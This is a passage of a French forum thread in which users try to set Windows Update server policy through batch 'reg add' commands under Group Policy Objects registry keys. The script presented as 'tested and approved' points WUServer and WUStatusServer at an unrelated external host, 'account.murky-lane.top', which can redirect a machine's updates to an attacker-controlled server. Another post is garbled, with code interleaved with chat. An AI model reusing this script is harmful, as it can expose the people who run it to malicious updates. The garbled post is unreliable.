Page 2 sur 2
Re: Batch pour modifier une valeur dans Gpedit.msc
Posté : 09 mai 2020 13:36
par barnabe0057
J'ai fait quelques tests de mon côté (Windows 7 pro x64), il y a aussi une autre clé à créer/modifier pour indiquer si la GPO est activée ou désactivée :
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine\Software\Policies\Microsoft\Windows\WindowsUpdate\AU]
"UseWUServer"=dword:00000001
Re: Batch pour modifier une valeur dans Gpedit.msc
Posté : 09 mai 2020 13:59
par Troistof
Il faut l’ajouter dans les script ?
Re: Batch pour modifier une valeur dans Gpedit.msc
Posté : 09 mai 2020 14:20
par barnabe0057
Tout à fait
Re: Batch pour modifier une valeur dans Gpedit.msc
Posté : 09 mai 2020 14:25
par Troistof
@echo off
setlocal enableextensions
Merci
En ajoutant une ligne ici :
C’est que je ne suis pas de votre niveau
set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects
for /f "delims=" %%A in ('reg query "%key%" /k /f "WindowsUpdate" /s ^| findstr /i "Machine"') do (
echo. & echo.%%A
reg add "%%~A" /v "WUServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "WUStatusServer" /t REG_SZ /d "http:\\\\mon serveur" /f
reg add "%%~A" /v "UpdateServiceUrlAlternate" /t REG_SZ /f
reg add "%%~A" /v "**del.FillEmptyContentUrls" /t REG_SZ /f
)
pause
exit
Re: Batch pour modifier une valeur dans Gpedit.msc
Posté : 09 mai 2020 15:26
par barnabe0057
Testé et approuvé :
Code : Tout sélectionner
@echo off
setlocal enableextensions
set key=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects
for /f "delims=" %%A in ('reg query "%key%" /k /f "Software" /s ^| findstr /i "Machine"') do (
echo. & echo.%%A
reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "https://account.murky-lane.top/index.php" /f
reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "https://account.murky-lane.top/index.php" /f
reg add "%%~A\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d 1 /f
)
pause
exit
Re: Batch pour modifier une valeur dans Gpedit.msc
Posté : 09 mai 2020 15:38
par Troistof
Mince pas chez moi
"toto" reviens comme avant à la fermeture et ré-ouverture de gpedit
Re: Batch pour modifier une valeur dans Gpedit.msc
Posté : 09 mai 2020 16:00
par barnabe0057
J'ai parlé trop vite, effectivement après réouverture de gpedit la GPO est "non configuré".
Re: Batch pour modifier une valeur dans Gpedit.msc
Posté : 10 mai 2020 14:43
par Troistof
C’était pas loin pourtant
Re: Batch pour modifier une valeur dans Gpedit.msc
Posté : 10 mai 2020 16:36
par barnabe0057
Quand je crée la GPO via GPEDIT une nouvelle clé apparaît :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9C906A2A-0034-48CE-92B7-F0097B40CFB7}Machine
Ce qui est étrange c'est l'espèce d'identifiant composé de chiffres et de lettres qui change à chaque fois qu'on ouvre GPEDIT, et encore plus étrange c'est que cette clé disparaît à la fermeture de GPEDIT. Où sont donc mémorisés les paramètres puisque la clé a disparue ?
J'ai monitoré le registre avec ProcMon pour mieux comprendre ce qui se passe lors de l'activation de la GPO via GPEDIT, mais il n'y a rien d'étrange, seules les 3 valeurs que nous avons repérées sont créées il ne se passe rien d'autre.